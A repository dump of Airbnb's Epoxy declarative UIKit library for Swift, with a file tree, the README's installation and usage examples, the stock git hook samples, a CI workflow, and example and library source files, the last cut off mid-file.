"HGroup.swift"}, {"type": "file", "name": "HGroupItemAlignment.swift"}, {"type": "file", "name": "LayoutSpacer.swift"}, {"type": "file", "name": "VGroup.swift"}, {"type": "file", "name": "VGroupItemAlignment.swift"}]}, {"type": "directory", "name": "Models", "children": [{"type": "file", "name": "AnyGroupItem.swift"}, {"type": "file", "name": "GroupItem.swift"}, {"type": "file", "name": "GroupItemModeling.swift"}, {"type": "file", "name": "GroupModelBuilder.swift"}, {"type": "file", "name": "HGroupItem.swift"}, {"type": "file", "name": "InternalGroupItemModeling.swift"}, {"type": "file", "name": "SpacerItem.swift"}, {"type": "file", "name": "StaticGroupItem.swift"}, {"type": "file", "name": "VGroupItem.swift"}]}, {"type": "directory", "name": "Providers", "children": [{"type": "file", "name": "AccessibilityAlignmentProviding.swift"}, {"type": "file", "name": "GroupItemsProviding.swift"}, {"type": "file", "name": "HorizontalAlignmentProviding.swift"}, {"type": "file", "name": "MakeConstrainableProviding.swift"}, {"type": "file", "name": "PaddingProviding.swift"}, {"type": "file", "name": "ReflowsForAccessibilityTypeSizeProviding.swift"}, {"type": "file", "name": "VerticalAlignmentProviding.swift"}]}, {"type": "directory", "name": "Types", "children": [{"type": "file", "name": "GroupEdgeInsets.swift"}, {"type": "file", "name": "LayoutGroupUpdateAnimation.swift"}]}, {"type": "directory", "name": "Views", "children": [{"type": "file", "name": "HGroupView.swift"}, {"type": "file", "name": "VGroupView.swift"}]}]}, {"type": "directory", "name": "EpoxyNavigationController", "children": [{"type": "file", "name": "NavigationController.swift"}, {"type": "file", "name": "NavigationModel.swift"}, {"type": "file", "name": "NavigationModelBuilder.swift"}, {"type": "file", "name": "NavigationQueue.swift"}, {"type": "file", "name": "StackProviding.swift"}]}, {"type": "directory", "name": "EpoxyPresentations", "children": [{"type": "file", "name": "PresentationModel.swift"}, {"type": "file", "name": "PresentationModelBuilder.swift"}, {"type": "file", "name": "PresentationModelProviding.swift"}, {"type": "file", "name": "PresentationQueue.swift"}, {"type": "file", "name": "UIViewController+PresentationModel.swift"}]}]}, {"type": "directory", "name": "Tests", "children": [{"type": "directory", "name": "EpoxyTests", "children": [{"type": "directory", "name": "BarsTests", "children": [{"type": "file", "name": "BarStackViewSpec.swift"}, {"type": "file", "name": "BaseBarInstallerSpec.swift"}, {"type": "file", "name": "BottomBarInstallerSpec.swift"}, {"type": "file", "name": "SafeAreaWindow.swift"}, {"type": "file", "name": "StaticHeightBar.swift"}, {"type": "file", "name": "TopBarInstallerSpec.swift"}]}, {"type": "directory", "name": "CollectionViewTests", "children": [{"type": "file", "name": "CollectionViewSpec.swift"}, {"type": "file", "name": "FlowLayoutTests.swift"}, {"type": "file", "name": "ProxyDelegate.swift"}, {"type": "file", "name": "ReuseIDStoreTests.swift"}]}, {"type": "directory", "name": "CoreTests", "children": [{"type": "file", "name": "CollectionDiffSpec.swift"}, {"type": "file", "name": "EpoxyModelBuilderArraySpec.swift"}, {"type": "file", "name": "EpoxyModeledSpec.swift"}]}, {"type": "directory", "name": "LayoutGroupsTests", "children": [{"type": "file", "name": "ConstrainableContainerSpec.swift"}, {"type": "file", "name": "GroupItemSpec.swift"}, {"type": "file", "name": "GroupPerformanceTests.swift"}, {"type": "file", "name": "HGroupItemSpec.swift"}, {"type": "file", "name": "HGroupSpec.swift"}, {"type": "file", "name": "TestHelpers.swift"}, {"type": "file", "name": "VGroupItemSpec.swift"}, {"type": "file", "name": "VGroupSpec.swift"}]}, {"type": "directory", "name": "NavigationControllerTests", "children": [{"type": "file", "name": "NavigationQueueSpec.swift"}, {"type": "file", "name": "StubTransitionCoordinator.swift"}]}, {"type": "directory", "name": "PresentationsTests", "children": [{"type": "file", "name": "PresentationModelBuilderSpec.swift"}, {"type": "file", "name": "PresentationQueueSpec.swift"}]}]}, {"type": "directory", "name": "PerformanceTests", "children": [{"type": "file", "name": "CollectionDiffPerformanceTestCase.swift"}]}]}]} | <img width="300" alt="Epoxy logo" src="docs/images/logo.svg" >
[![Build Status](https://github.com/airbnb/epoxy-ios/workflows/CI/badge.svg?branch=master)](https://github.com/airbnb/epoxy-ios/actions?query=branch%3Amaster+workflow%3ACI)
[![Swift Package Manager compatible](https://img.shields.io/badge/SPM-compatible-4BC51D.svg?style=flat)](https://github.com/apple/swift-package-manager)
[![Platform](https://img.shields.io/endpoint?url=https%3A%2F%2Fswiftpackageindex.com%2Fapi%2Fpackages%2Fairbnb%2Fepoxy-ios%2Fbadge%3Ftype%3Dplatforms)](https://swiftpackageindex.com/airbnb/epoxy-ios)
[![Swift Versions](https://img.shields.io/endpoint?url=https%3A%2F%2Fswiftpackageindex.com%2Fapi%2Fpackages%2Fairbnb%2Fepoxy-ios%2Fbadge%3Ftype%3Dswift-versions)](https://swiftpackageindex.com/airbnb/epoxy-ios)
Epoxy is a suite of declarative UI APIs for building [UIKit](https://developer.apple.com/documentation/uikit) applications in Swift. Epoxy is inspired and influenced by the wonderful [Epoxy framework on Android](https://github.com/airbnb/epoxy), as well as other declarative UI frameworks in Swift such as [SwiftUI](https://developer.apple.com/documentation/swiftui).
Epoxy was developed at [Airbnb](https://www.airbnb.com/) and powers thousands of screens in apps that are shipped to millions of users. It has been developed and refined for years by [dozens of contributors](https://github.com/airbnb/epoxy-ios/graphs/contributors).
Below are a few sample screens from the Airbnb app that we've built using Epoxy. Our usages of Epoxy span from our simplest forms and static screens to our most advanced and dynamic features.
| Home Details | Home Photos | Messaging | Registration |
| --- | --- | --- | --- |
| ![Home Details](docs/images/home_details.png) | ![Home Photos](docs/images/home_photos.png) | ![Messaging](docs/images/messaging.png) | ![Registration](docs/images/registration.png) |
## Table of contents
* [Installation](#installation)
* [CocoaPods](#cocoapods)
* [Swift Package Manager (SPM)](#swift-package-manager-spm)
* [Modules](#modules)
* [Documentation and tutorials](#documentation-and-tutorials)
* [Getting started](#getting-started)
* [EpoxyCollectionView](#epoxycollectionview)
* [EpoxyBars](#epoxybars)
* [EpoxyNavigationController](#epoxynavigationcontroller)
* [EpoxyPresentations](#epoxypresentations)
* [EpoxyLayoutGroups](#epoxylayoutgroups)
* [FAQ](#faq)
* [Contributing](#contributing)
* [License](#license)
* [Credits](#credits)
## Installation
Epoxy can be installed using [CocoaPods](#CocoaPods) or [Swift Package Manager](#Swift-Package-Manager-(SPM)).
### CocoaPods
To get started with Epoxy using [Cocoapods](https://cocoapods.org) add the following to your `Podfile` and then follow the [integration instructions](https://guides.cocoapods.org/using/using-cocoapods.html).
```ruby
pod 'Epoxy'
```
Epoxy is separated into [podspecs](https://guides.cocoapods.org/syntax/podspec.html) for each [module](#modules) so you only have to include what you need.
### Swift Package Manager (SPM)
To install Epoxy using [Swift Package Manager](https://github.com/apple/swift-package-manager) you can follow the [tutorial published by Apple](https://developer.apple.com/documentation/xcode/adding_package_dependencies_to_your_app) using the URL for the Epoxy repo with the current version:
1. In Xcode, select “File” → “Swift Packages” → “Add Package Dependency”
1. Enter https://github.com/airbnb/epoxy-ios.git
Epoxy is separated [library products](https://swift.org/package-manager/#products) for each [module](#modules) so you only have to include what you need.
## Modules
Epoxy has a modular architecture so you only have to include what you need for your use case:
| Module | Description |
| ------ | ----------- |
| [`Epoxy`](https://github.com/airbnb/epoxy-ios/blob/master/Sources/Epoxy/Exports.swift) | Includes all of the below modules in a single import statement |
| [`EpoxyCollectionView`](#EpoxyCollectionView) | Declarative API for driving the content of a [`UICollectionView`](https://developer.apple.com/documentation/uikit/uicollectionview) |
| [`EpoxyNavigationController`](#EpoxyNavigationController) | Declarative API for driving the navigation stack of a [`UINavigationController`](https://developer.apple.com/documentation/uikit/uinavigationcontroller) |
| [`EpoxyPresentations`](#EpoxyPresentations) | Declarative API for driving the modal presentations of a [`UIViewController`](https://developer.apple.com/documentation/uikit/uiviewcontroller) |
| [`EpoxyBars`](#EpoxyBars) | Declarative API for adding fixed top/bottom bar stacks to a [`UIViewController`](https://developer.apple.com/documentation/uikit/uiviewcontroller) |
| [`EpoxyLayoutGroups`](#EpoxyLayoutGroups) | Declarative API for building composable layouts in UIKit with a syntax similar to SwiftUI's stack APIs |
| [`EpoxyCore`](https://github.com/airbnb/epoxy-ios/wiki/EpoxyCore) | Foundational APIs that are used to build all Epoxy declarative UI APIs |
## Documentation and tutorials
For full documentation and step-by-step tutorials please check the [wiki](https://github.com/airbnb/epoxy-ios/wiki). For type-level documentation, see the [Epoxy DocC documentation](https://swiftpackageindex.com/airbnb/epoxy-ios/master/documentation/epoxycore) hosted on the [Swift Package Index](https://swiftpackageindex.com/).
There's also a full sample app with a lot of examples that you can either run via the `EpoxyExample` scheme in `Epoxy.xcworkspace` or browse its [source](https://github.com/airbnb/epoxy-ios/tree/master/Example).
If you still have questions, feel free to create a new [issue](https://github.com/airbnb/epoxy-ios/issues).
## Getting started
### EpoxyCollectionView
`EpoxyCollectionView` provides a declarative API for driving the content of a `UICollectionView`. `CollectionViewController` is a subclassable `UIViewController` that lets you easily spin up a `UICollectionView`-backed view controller with a declarative API.
The following code samples will render a single cell in a `UICollectionView` with a `TextRow` component rendered in that cell. `TextRow` is a simple `UIView` containing two labels that conforms to the [`EpoxyableView`](https://github.com/airbnb/epoxy-ios/wiki/EpoxyCore#views) protocol.
You can either instantiate a `CollectionViewController` instance directly with sections, e.g. this view controller with a selectable row:
<table>
<tr><td> Source </td> <td> Result </td></tr>
<tr>
<td>
```swift
enum DataID {
case row
}
let viewController = CollectionViewController(
layout: UICollectionViewCompositionalLayout
.list(using: .init(appearance: .plain)),
items: {
TextRow.itemModel(
dataID: DataID.row,
content: .init(title: "Tap me!"),
style: .small)
.didSelect { _ in
// Handle selection
}
})
```
</td>
<td>
<img width="250" alt="Screenshot" src="docs/images/tap_me_example.png">
</td>
</tr>
</table>
Or you can subclass `CollectionViewController` for more advanced scenarios, e.g. this view controller that keeps track of a running count:
<table>
<tr><td> Source </td> <td> Result </td></tr>
<tr>
<td>
```swift
class CounterViewController: CollectionViewController {
init() {
let layout = UICollectionViewCompositionalLayout
.list(using: .init(appearance: .plain))
super.init(layout: layout)
setItems(items, animated: false)
}
enum DataID {
case row
}
var count = 0 {
didSet {
setItems(items, animated: true)
}
}
@ItemModelBuilder
var items: [ItemModeling] {
TextRow.itemModel(
dataID: DataID.row,
content: .init(
title: "Count \(count)",
body: "Tap to increment"),
style: .large)
.didSelect { [weak self] _ in
self?.count += 1
}
}
}
```
</td>
<td>
<img width="250" alt="Screenshot" src="docs/images/counter_example.gif">
</td>
</tr>
</table>
You can learn more about `EpoxyCollectionView` in its [wiki entry](https://github.com/airbnb/epoxy-ios/wiki/EpoxyCollectionView), or by browsing the [code documentation](https://swiftpackageindex.com/airbnb/epoxy-ios/master/documentation/epoxycollectionview).
### EpoxyBars
`EpoxyBars` provides a declarative API for rendering fixed top, fixed bottom, or [input accessory](https://developer.apple.com/documentation/uikit/uiresponder/1621119-inputaccessoryview) bar stacks in a `UIViewController`.
The following code example will render a `ButtonRow` component fixed to the bottom of the `UIViewController`'s view. `ButtonRow` is a simple `UIView` component that contains a single `UIButton` constrained to the margins of the superview that conforms to the [`EpoxyableView`](https://github.com/airbnb/epoxy-ios/wiki/EpoxyCore#views) protocol:
<table>
<tr><td> Source </td> <td> Result </td></tr>
<tr>
<td>
```swift
class BottomButtonViewController: UIViewController {
override func viewDidLoad() {
super.viewDidLoad()
bottomBarInstaller.install()
}
lazy var bottomBarInstaller = BottomBarInstaller(
viewController: self,
bars: bars)
@BarModelBuilder
var bars: [BarModeling] {
ButtonRow.barModel(
content: .init(text: "Click me!"),
behaviors: .init(didTap: {
// Handle button selection
}))
}
}
```
</td>
<td>
<img width="250" alt="Screenshot" src="docs/images/bottom_button_example.png">
</td>
</tr>
</table>
You can learn more about `EpoxyBars` in its [wiki entry](https://github.com/airbnb/epoxy-ios/wiki/EpoxyBars), or by browsing the [code documentation](https://swiftpackageindex.com/airbnb/epoxy-ios/master/documentation/epoxybars).
### EpoxyNavigationController
`EpoxyNavigationController` provides a declarative API for driving the navigation stack of a `UINavigationController`.
The following code example shows how you can use this to easily drive a feature that has a flow of multiple view controllers:
<table>
<tr><td> Source </td> <td> Result </td></tr>
<tr>
<td>
```swift
class FormNavigationController: NavigationController {
init() {
super.init()
setStack(stack, animated: false)
}
enum DataID {
case step1, step2
}
var showStep2 = false {
didSet {
setStack(stack, animated: true)
}
}
@NavigationModelBuilder
var stack: [NavigationModel] {
.root(dataID: DataID.step1) { [weak self] in
Step1ViewController(didTapNext: {
self?.showStep2 = true
})
}
if showStep2 {
NavigationModel(
dataID: DataID.step2,
makeViewController: {
Step2ViewController(didTapNext: {
// Navigate away from this step.
})
},
remove: { [weak self] in
self?.showStep2 = false
})
}
}
}
```
</td>
<td>
<img width="250" alt="Screenshot" src="docs/images/form_navigation_example.gif">
</td>
</tr>
</table>
You can learn more about `EpoxyNavigationController` in its [wiki entry](https://github.com/airbnb/epoxy-ios/wiki/EpoxyNavigationController), or by browsing the [code documentation](https://swiftpackageindex.com/airbnb/epoxy-ios/master/documentation/epoxynavigationcontroller).
### EpoxyPresentations
`EpoxyPresentations` provides a declarative API for driving the modal presentation of a `UIViewController`.
The following code example shows how you can use this to easily drive a feature that shows a modal when it first appears:
<table>
<tr><td> Source </td> <td> Result </td></tr>
<tr>
<td>
```swift
class PresentationViewController: UIViewController {
override func viewDidAppear(_ animated: Bool) {
super.viewDidAppear(animated)
setPresentation(presentation, animated: true)
}
enum DataID {
case detail
}
var showDetail = true {
didSet {
setPresentation(presentation, animated: true)
}
}
@PresentationModelBuilder
var presentation: PresentationModel? {
if showDetail {
PresentationModel(
dataID: DataID.detail,
presentation: .system,
makeViewController: { [weak self] in
DetailViewController(didTapDismiss: {
self?.showDetail = false
})
},
dismiss: { [weak self] in
self?.showDetail = false
})
}
}
}
```
</td>
<td>
<img width="250" alt="Screenshot" src="docs/images/modal_example.gif">
</td>
</tr>
</table>
You can learn more about `EpoxyPresentations` in its [wiki entry](https://github.com/airbnb/epoxy-ios/wiki/EpoxyPresentations), or by browsing the [code documentation](https://swiftpackageindex.com/airbnb/epoxy-ios/master/documentation/epoxypresentations).
## EpoxyLayoutGroups
LayoutGroups are UIKit [Auto Layout](https://developer.apple.com/library/archive/documentation/UserExperience/Conceptual/AutolayoutPG/index.html) containers inspired by SwiftUI's [`HStack`](https://developer.apple.com/documentation/swiftui/hstack) and [`VStack`](https://developer.apple.com/documentation/swiftui/vstack) that allow you to easily compose UIKit elements into horizontal and vertical groups.
`VGroup` allows you to group components together vertically to create stacked components like this:
<table>
<tr><td> Source </td> <td> Result </td></tr>
<tr>
<td>
```swift
// Set of dataIDs to have consistent
// and unique IDs
enum DataID {
case title
case subtitle
case action
}
// Groups are created declaratively
// just like Epoxy ItemModels
let group = VGroup(
alignment: .leading,
spacing: 8)
{
Label.groupItem(
dataID: DataID.title,
content: "Title text",
style: .title)
Label.groupItem(
dataID: DataID.subtitle,
content: "Subtitle text",
style: .subtitle)
Button.groupItem(
dataID: DataID.action,
content: "Perform action",
behaviors: .init { button in
print("Button tapped! \(button)")
},
style: .standard)
}
// install your group in a view
group.install(in: view)
// constrain the group like you
// would a normal subview
group.constrainToMargins()
```
</td>
<td>
<img alt="ActionRow screenshot" src="docs/images/ActionRow.png">
</td>
</tr>
</table>
As you can see, this is incredibly similar to the other APIs used in Epoxy. One important thing to note is that `install(in: view)` call at the bottom. Both `HGroup` and `VGroup` are written using [`UILayoutGuide`](https://developer.apple.com/documentation/uikit/uilayoutguide) which prevents having large nested view hierarchies. To account for this, we’ve added this `install` method to prevent the user from having to add subviews and the layout guide manually.
Using `HGroup` is almost exactly the same as `VGroup` but the components are now horizontally laid out instead of vertically:
<table>
<tr><td> Source </td> <td> Result </td></tr>
<tr>
<td>
```swift
enum DataID {
case icon
case title
}
let group = HGroup(spacing: 8) {
ImageView.groupItem(
dataID: DataID.icon,
content: UIImage(systemName: "person.fill")!,
style: .init(size: .init(width: 24, height: 24)))
Label.groupItem(
dataID: DataID.title,
content: "This is an IconRow")
}
group.install(in: view)
group.constrainToMargins()
```
</td>
<td>
<img alt="IconRow screenshot" src="docs/images/IconRow.png">
</td>
</tr>
</table>
Groups support nesting too, so you can easily create complex layouts with multiple groups:
<table>
<tr><td> Source </td> <td> Result </td></tr>
<tr>
<td>
```swift
enum DataID {
case checkbox
case titleSubtitleGroup
case title
case subtitle
}
HGroup(spacing: 8) {
Checkbox.groupItem(
dataID: DataID.checkbox,
content: .init(isChecked: true),
style: .standard)
VGroupItem(
dataID: DataID.titleSubtitleGroup,
style: .init(spacing: 4))
{
Label.groupItem(
dataID: DataID.title,
content: "Build iOS App",
style: .title)
Label.groupItem(
dataID: DataID.subtitle,
content: "Use EpoxyLayoutGroups",
style: .subtitle)
}
}
```
</td>
<td>
<img alt="IconRow screenshot" src="docs/images/CheckboxRow.png">
</td>
</tr>
</table>
You can learn more about `EpoxyLayoutGroups` in its [wiki entry](https://github.com/airbnb/epoxy-ios/wiki/EpoxyLayoutGruops), or by browsing the [code documentation](https://swiftpackageindex.com/airbnb/epoxy-ios/master/documentation/epoxylayoutgroups).
## FAQ
- [Why would I use Epoxy and UIKit instead of SwiftUI?](https://github.com/airbnb/epoxy-ios/wiki/FAQ#why-would-i-use-epoxy-and-uikit-instead-of-swiftui)
- [How does Epoxy for iOS differ from Epoxy for Android?](https://github.com/airbnb/epoxy-ios/wiki/FAQ#how-does-epoxy-for-ios-differ-from-epoxy-for-android)
## Contributing
Pull requests are welcome! We'd love help improving this library. Feel free to browse through open [issues](https://github.com/airbnb/epoxy-ios/issues) to look for things that need work. If you have a feature request or bug, please open a new issue so we can track it. Contributors are expected to follow the [Code of Conduct](./CODE_OF_CONDUCT.md).
## License
Epoxy is released under the Apache License 2.0. See `LICENSE` for details.
## Credits
Logo design by [Alana Hanada](https://twitter.com/AlanaHanada) and [Jonard La Rosa](https://twitter.com/NotJoNacho)
| {".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n", ".github\\workflows\\main.yml": "name: CI\n\non:\n push:\n branches: [ master ]\n pull_request:\n branches: [ master ]\n\njobs:\n build-package:\n runs-on: macos-latest\n strategy:\n matrix:\n xcode:\n - '14.3.1' # Swift 5.8 (lowest)\n - '15.4' # Swift 5.10 (highest)\n steps:\n - uses: actions/checkout@v2\n - uses: ./.github/actions/setup\n with:\n xcode: ${{ matrix.xcode }}\n - name: Build Package\n run: bundle exec rake build:package\n\n build-epoxy-core:\n runs-on: macos-latest\n strategy:\n matrix:\n xcode:\n - '15.4' # Swift 5.10 (highest)\n steps:\n - uses: actions/checkout@v2\n - uses: ./.github/actions/setup\n with:\n xcode: ${{ matrix.xcode }}\n - name: Build EpoxyCore\n run: bundle exec rake build:EpoxyCore\n\n build-example:\n runs-on: macos-latest\n strategy:\n matrix:\n xcode:\n - '14.3.1' # Swift 5.8 (lowest)\n - '15.4' # Swift 5.10 (highest)\n steps:\n - uses: actions/checkout@v2\n - uses: ./.github/actions/setup\n with:\n xcode: ${{ matrix.xcode }}\n - name: Build Example\n run: bundle exec rake build:example\n\n test-package:\n runs-on: macos-latest\n strategy:\n matrix:\n xcode:\n - '14.3.1' # Swift 5.8 (lowest)\n - '15.4' # Swift 5.10 (highest)\n steps:\n - uses: actions/checkout@v2\n - uses: ./.github/actions/setup\n with:\n xcode: ${{ matrix.xcode }}\n - name: Test Package\n run: bundle exec rake test:package\n\n lint-swift:\n runs-on: macos-latest\n steps:\n - uses: actions/checkout@v2\n - uses: ./.github/actions/setup\n - name: Lint Swift\n run: bundle exec rake lint:swift\n\n lint-podspec:\n runs-on: macos-latest\n steps:\n - uses: actions/checkout@v2\n - uses: ./.github/actions/setup\n - name: Lint Podspec\n run: bundle exec rake lint:podspec\n", "Example\\EpoxyExample\\Application\\AppDelegate.swift": "// Created by Tyler Hedrick on 9/12/19.\n// Copyright \u00a9 2019 Airbnb Inc. All rights reserved.\n\nimport UIKit\n\n@UIApplicationMain\nclass AppDelegate: UIResponder, UIApplicationDelegate {\n\n var window: UIWindow?\n\n func application(\n _: UIApplication,\n didFinishLaunchingWithOptions _: [UIApplication.LaunchOptionsKey: Any]?)\n -> Bool\n {\n window = UIWindow(frame: UIScreen.main.bounds)\n window?.rootViewController = MainViewController()\n window?.makeKeyAndVisible()\n return true\n }\n\n}\n", "Example\\EpoxyExample\\ViewControllers\\MainViewController.swift": "// Created by Tyler Hedrick on 1/12/21.\n// Copyright \u00a9 2021 Airbnb Inc. All rights reserved.\n\nimport Epoxy\nimport UIKit\n\nfinal class MainViewController: NavigationController {\n\n // MARK: Lifecycle\n\n init() {\n super.init(wrapNavigation: NavigationWrapperViewController.init(navigationController:))\n setStack(stack, animated: false)\n }\n\n // MARK: Private\n\n private enum DataID: Hashable {\n case index\n case item(Example)\n case readme(ReadmeExample)\n case layoutGroups(LayoutGroupsExample)\n }\n\n private struct State {\n var showExample: Example?\n var showReadmeExample: ReadmeExample?\n var showLayoutGroupsExample: LayoutGroupsExample?\n }\n\n private var state = State() {\n didSet { setStack(stack, animated: true) }\n }\n\n @NavigationModelBuilder private var stack: [NavigationModel] {\n NavigationModel.root(dataID: DataID.index) { [weak self] in\n self?.makeExampleIndexViewController()\n }\n\n if let example = state.showExample {\n NavigationModel(\n dataID: DataID.item(example),\n makeViewController: { [weak self] in\n self?.makeExampleController(example)\n },\n remove: { [weak self] in\n self?.state.showExample = nil\n })\n }\n\n if let example = state.showReadmeExample {\n NavigationModel(\n dataID: DataID.readme(example),\n makeViewController: {\n UIViewController.makeReadmeExample(example)\n },\n remove: { [weak self] in\n self?.state.showReadmeExample = nil\n })\n }\n\n if let example = state.showLayoutGroupsExample {\n NavigationModel(\n dataID: DataID.layoutGroups(example),\n makeViewController: {\n UIViewController.makeLayoutGroupsExample(example)\n },\n remove: { [weak self] in\n self?.state.showLayoutGroupsExample = nil\n })\n }\n }\n\n private func makeExampleIndexViewController() -> UIViewController {\n let viewController = CollectionViewController(\n layout: UICollectionViewCompositionalLayout.list,\n items: {\n Example.allCases.map { example in\n TextRow.itemModel(\n dataID: example,\n content: .init(title: example.title, body: example.body),\n style: .small)\n .didSelect { [weak self] _ in\n self?.state.showExample = example\n }\n }\n })\n viewController.title = \"Epoxy\"\n return viewController\n }\n\n private func makeExampleController(_ example: Example) -> UIViewController {\n let viewController: UIViewController\n switch example {\n case .readme:\n viewController = CollectionViewController.readmeExamplesViewController(\n didSelect: { [weak self] example in\n self?.state.showReadmeExample = example\n })\n case .compositionalLayout:\n viewController = CompositionalLayoutViewController()\n case .shuffle:\n viewController = ShuffleViewController()\n case .customSelfSizing:\n viewController = CustomSelfSizingContentViewController()\n case .product:\n viewController = ProductViewController()\n case .flowLayout:\n viewController = FlowLayoutViewController()\n case .cardStack:\n viewController = CardStackViewController()\n case .textField:\n viewController = TextFieldViewController()\n case .layoutGroups:\n viewController = CollectionViewController.layoutGroupsExampleViewController(\n didSelect: { [weak self] example in\n self?.state.showLayoutGroupsExample = example\n })\n case .swiftUIToEpoxy:\n return SwiftUIInEpoxyViewController()\n case .epoxyToSwiftUI:\n return EpoxyInSwiftUIViewController()\n case .epoxyToSwiftUISizingStrategies:\n return EpoxyInSwiftUISizingStrategiesViewController()\n case .swiftUIToEpoxyResizing:\n return SwiftUIInEpoxyResizingViewController()\n }\n viewController.title = example.title\n return viewController\n }\n}\n", "Example\\EpoxyExample\\ViewControllers\\Helpers\\NavigationWrapperViewController.swift": "// Created by eric_horacek on 3/17/21.\n// Copyright \u00a9 2021 Airbnb Inc. All rights reserved.\n\nimport UIKit\n\n/// A naive implementation a Navigation wrapper so we can nest the `FormNavigationController`\n/// without a UIKit crash.\n///\n/// You probably want a custom wrapper for your use cases.\nfinal class NavigationWrapperViewController: UIViewController {\n init(navigationController: UINavigationController) {\n // A naive implementation of `wrapNavigation` so we can nest the `FormNavigationController`.\n navigationController.setNavigationBarHidden(true, animated: false)\n\n super.init(nibName: nil, bundle: nil)\n\n addChild(navigationController)\n view.addSubview(navigationController.view)\n navigationController.view.frame = view.bounds\n navigationController.view.translatesAutoresizingMaskIntoConstraints = true\n navigationController.view.autoresizingMask = [.flexibleHeight, .flexibleWidth]\n navigationController.didMove(toParent: self)\n }\n\n required init?(coder _: NSCoder) {\n fatalError(\"init(coder:) has not been implemented\")\n }\n}\n", "Sources\\EpoxyBars\\BarInstaller\\BarWrapperView.swift": "// Created by eric_horacek on 3/31/20.\n// Copyright \u00a9 2020 Airbnb Inc. All rights reserved.\n\nimport EpoxyCore\nimport UIKit\n\n// MARK: - BarWrapperView\n\n/// A wrapper of a single bar view that supports animatedly updating its bar model.\n///\n/// Cannot have a `CATransformLayer` as its layer class as that prevents usage of the\n/// `UIView.transition` APIs for swapping its contents.\npublic final class BarWrapperView: UIView {\n\n // MARK: Lifecycle\n\n init() {\n super.init(frame: .zero)\n layoutMargins = .zero\n translatesAutoresizingMaskIntoConstraints = false\n // Allow this view to be overlapped by the safe area.\n insetsLayoutMarginsFromSafeArea = false\n // Ensure that the view original safe area insets can inset the content of a bar.\n preservesSuperviewLayoutMargins = true\n // Ensure that the bar container's children are focused together.\n shouldGroupAccessibilityChildren = true\n }\n\n @available(*, unavailable)\n required init?(coder _: NSCoder) {\n fatalError(\"init(coder:) has not been implemented\")\n }\n\n // MARK: Public\n\n /// The current bar model.\n public private(set) var model: BarModeling?\n\n /// The current bar coordinator.\n public var coordinator: AnyBarCoordinating? {\n _coordinator?.backing\n }\n\n /// The current bar view.\n public private(set) var view: UIView? {\n didSet { updateView(from: oldValue) }\n }\n\n /// Updates the bar model the given bar model.\n public func setModel(_ model: BarModeling?, animated: Bool) {\n self.model = model\n _setModel(model, animated: animated)\n }\n\n // MARK: UIView\n\n public override func layoutSubviews() {\n super.layoutSubviews()\n\n guard let view = view else { return }\n\n let margins: UIEdgeInsets\n if let originalMargins = originalViewLayoutMargins {\n margins = originalMargins\n } else {\n margins = view.layoutMargins\n originalViewLayoutMargins = margins\n }\n\n let layoutBehavior = (view as? SafeAreaLayoutMarginsBarView)?.preferredSafeAreaLayoutMarginsBehavior ?? .max\n switch layoutBehavior {\n case .max:\n view.layoutMargins.top = max(layoutMargins.top, margins.top)\n view.layoutMargins.bottom = max(layoutMargins.bottom, margins.bottom)\n case .sum:\n view.layoutMargins.top = layoutMargins.top + margins.top\n view.layoutMargins.bottom = layoutMargins.bottom + margins.bottom\n }\n }\n\n public override func hitTest(_ point: CGPoint, with event: UIEvent?) -> UIView? {\n // Validate hitTest preconditions, since we aren't calling super.\n guard isUserInteractionEnabled, !isHidden, alpha >= 0.01 else { return nil }\n\n guard let view = view else { return nil }\n\n /// We allow bar views to receive touches outside of this wrapper,\n /// so we manually hit test the bar view.\n return view.hitTest(view.convert(point, from: self), with: event)\n }\n\n public override func layoutMarginsDidChange() {\n super.layoutMarginsDidChange()\n setNeedsLayout()\n }\n\n // MARK: Internal\n\n /// A closure that's called after a bar coordinator has been created.\n var didUpdateCoordinator: ((_ coordinator: AnyBarCoordinating) -> Void)?\n\n /// A closure that will be invoked prior to adding the bar view to the view hierarchy.\n var willDisplayBar: ((_ bar: UIView) -> Void)?\n\n /// The ordering of this bar within a bar stack.\n var zOrder = BarStackView.ZOrder.firstToLast\n\n /// The background color drawn behind this bar when it is selected.\n var selectedBackgroundColor: UIColor? {\n didSet {\n guard selectedBackgroundColor != oldValue else { return }\n updateSelected()\n }\n }\n\n /// Whether this bar should draw its selected state.\n var isSelected = false {\n didSet {\n guard isSelected != oldValue else { return }\n updateSelected()\n }\n }\n\n /// Whether this wrapper can be highlighted.\n var canHighlight: Bool {\n _model?.isSelectable ?? false\n }\n\n func handleSelection(animated: Bool) {\n guard let view = view, _model?.isSelectable == true else { return }\n _model?.didSelect(view, traitCollection: traitCollection, animated: animated)\n }\n\n func handleDidEndDisplaying(animated: Bool) {\n guard let view = view else { return }\n _model?.didEndDisplaying(view, traitCollection: traitCollection, animated: animated)\n }\n\n // MARK: Private\n\n /// The current bar model.\n private var _model: InternalBarModeling?\n\n /// The coordinator wrapper: a type-erased `AnyBarCoordinator`.\n private var _coordinator: AnyBarCoordinating?\n\n /// The original bottom layout margins of the bar before they were overridden by this view's\n /// layout margins.\n private var originalViewLayoutMargins: UIEdgeInsets?\n\n private func updateSelected() {\n if isSelected, _model?.isSelectable == true {\n backgroundColor = selectedBackgroundColor\n } else {\n backgroundColor = nil\n }\n }\n\n private func _setModel(_ originalModel: BarModeling?, animated: Bool) {\n let oldValue = _model\n\n guard let underlyingBarModel = originalModel?.internalBarModel else {\n view?.removeFromSuperview()\n view = nil\n _coordinator = nil\n return\n }\n\n let coordinator = coordinator(for: underlyingBarModel)\n\n guard let model = underlyingBarModel.barModel(for: coordinator).internalBarModel as? InternalBarModeling else {\n EpoxyLogger.shared.assertionFailure(\n \"\"\"\n Unable to extract an InternalBarModeling from \\(underlyingBarModel), nesting BarModeling models \\\n 